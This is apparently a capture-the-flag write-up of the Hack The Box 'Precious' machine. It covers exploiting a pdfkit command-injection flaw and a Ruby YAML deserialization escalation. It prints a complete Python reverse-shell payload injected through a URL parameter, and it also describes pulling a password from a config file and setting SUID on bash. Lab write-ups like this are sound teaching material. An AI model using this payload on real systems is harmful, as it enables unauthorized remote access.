Hackthebox Precious Writeup

0xBen
6 min readMay 17, 2023

--

On this machine, there is a web service which converts the web-page to a PDF, which is vulnerable to
command injection Using that, you can get the rev shell , Let’s Start …

As usual we have started with ‘nmap’ to know which services or ports are opened

nmap -sC -sV 10.10.11.189

-sC option : is a default script, perform service detection and vulnerability scanning on the target

-sV option : perform version detection on open ports to determine the version number

So the result of Nmap shows that :

Nmap Output

let’s see what is running there , I found a web page that takes a URL as input and Give us pdf as output (Web Page Convertor) ?

what about starting a basic web server that listens on specified port ?

python3 -m http.server 9000

Here’s a breakdown of the command :

python3: This specifies the Python interpreter to be used for running the command, Python 3 version is used

-m http.server: This is a module in Python’s standard library , It provides a simple HTTP server implementation

9000: This is the port number on which the HTTP server will listen

After pressed Submit Button :

After Downloading PDF i used exiftool It is used for reading, writing, and manipulating metadata information in various file formats,
including images, videos, audio files, and PDF documents

Note : Metadata refers to descriptive information about a file or resource that provides additional context and characteristics

Exiftool Result

After that i used Google to search for the version of pdfkit v0.8.6

i Found that pdfkit v0.8.6 is a vulnerable version of the pdfkit library. It is susceptible to a command injection vulnerability, The
vulnerability was discovered on June 14, 2022, and a patch was released on September 8, 2022. However, the patch was ineffective, and
a new patch was released on September 14, 2022

Link : https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

PoC (Proof of Concept):

PDFKit.new(“http://example.com/?name=#{params[:name]}").to_pdf

If the params[:name] value is not properly sanitized and contains a URL-encoded character and a shell command substitution string, it

will be included in the command executed by PDFKit to render the PDF

Well, all I have to do is use any get parameter name and inside that use a URL-encoded character and backticks to injection our command

It is the Result of Above Command

Well , Let’s Try get reverse shell : Let’s use the python3 payload to get the rev shell

The Payload :

http://10.10.XX.XX:9000/?name=%20`python3 -c ‘import socket,subprocess,os;s=socket.socket
(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.XX.XX”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno
(),2);import pty; pty.spawn(“sh”)’`

Here’s a breakdown of the command :

python3: This is the command to invoke the Python interpreter As we explained earlier

-c: It specifies that the following string that will be passed as a command for execution

And then Importing modules: import socket,subprocess,os imports the necessary Python modules for socket operations

SO : s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) it creates a TCP socket

s.connect((“10.10.XX.XX”,9001)) establishes a connection to the specified IP address and port (My Ip as an attacker and 9001 with the

desired port number)

os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) duplicates the file descriptors 0 (stdin), 1 (stdout), and 2

(stderr) to the socket file descriptor. This allows input and output to be redirected through the network socket , Any thing you Write
as input to Get output on Victim machine it redirected through the network socket

pty.spawn(sh) function to spawn a new shell process , “sh” refers to the Bourne shell

Well , But Before Running This Rev we must be in listen mode so i will use nc (netcat) to accept the Connection from victim

I found .bundle Dire , it is likely related to Ruby bundler, a package manager for Ruby projects i Found config file which has the
henry user password in it

Henry User password

let’s login with henry user , first we must check premissions (lists the user’s privileges) that we have on machine

Note : You Can Use Linpeas For Privilege Escalation But I preferred to Check it manually

Using “sudo -l” to lists the user’s privileges

Let’s See /opt/update_dependencies.rb

update_dependencies.rb File

Well , Let’s explain a little brief about YAML

Yaml is serialization language which is a programming language or data format that is used to represent data

structures or objects in a serialized form

suppose we have a data of object represented in nested Dictionary in python (personal info) :

import yaml

data = {
“person”: {
“name”: “John”,
“age”: 30,
“address”: {
“street”: “123 Main St”,
“city”: “Anytown”,
“state”: “CA”,
“zip”: “12345”
},
“phone_numbers”: [“555–555–1234”, “555–555–5678”]
}
}

So How we can serialize the dictionary using YAML format ?

using method called yaml.dump() and takes parameter or var that store the data of object So :

serialized_data = yaml.dump(data)

print(serialized_data) // Guess the output ?

“person:\n address:\n city: Anytown\n state: CA\n street: ‘123 Main St’\n zip: ‘12345’\n age: 30\n name: John\n
phone_numbers:\n — ‘555–555–1234’\n — ‘555–555–5678’\n”

So : In YAML, indentation is used to indicate nesting levels, and each line ends with a newline
character (\n).

So in our Example we have Two Nested levels First is person and second is address For this reason

The output of serialized_data starts with Person that is top-level key and followed by two spaces and

followed by second level key and then followed by Four spaces and followed by values

But what would happen if we used the opposite process of serializtion that is deserialization ?

Note : deserialization is a process of back the serialized data to original format

So How we can deserialize the serialized data back into a Python dictionary (original format) ?

Using Method called yaml.load() // and takes parameter or var that store the serialized data

So deserialized_data = yaml.load(serialized_data)

Outline : yaml.dump() function takes parameter , and used for serialization , yaml.load() function takes parameter , used for
deserialization

Let’s Go Back to our machine

YAML.load() is vulnerable to YAML Deserialization Attack , After searching i Found source Explain How Exploit YAML.load()

Link1 : https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/

Link2 : https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml

I Gonna Create dependencies.yml that has exploitation code

Let’s Run it

we got the command injection using git_set: id in a previous Image

Let’s set SUID Bet

Add SUID to Bash Executable file shell , it will be executed with the privileges of the file’s owner (often the root user)

let’s run it

Let’s Check , Well we Got The Flags

--

--

0xBen
0xBen

Written by 0xBen

Cyber Security Engineer & Researcher | CTF Player

Responses (1)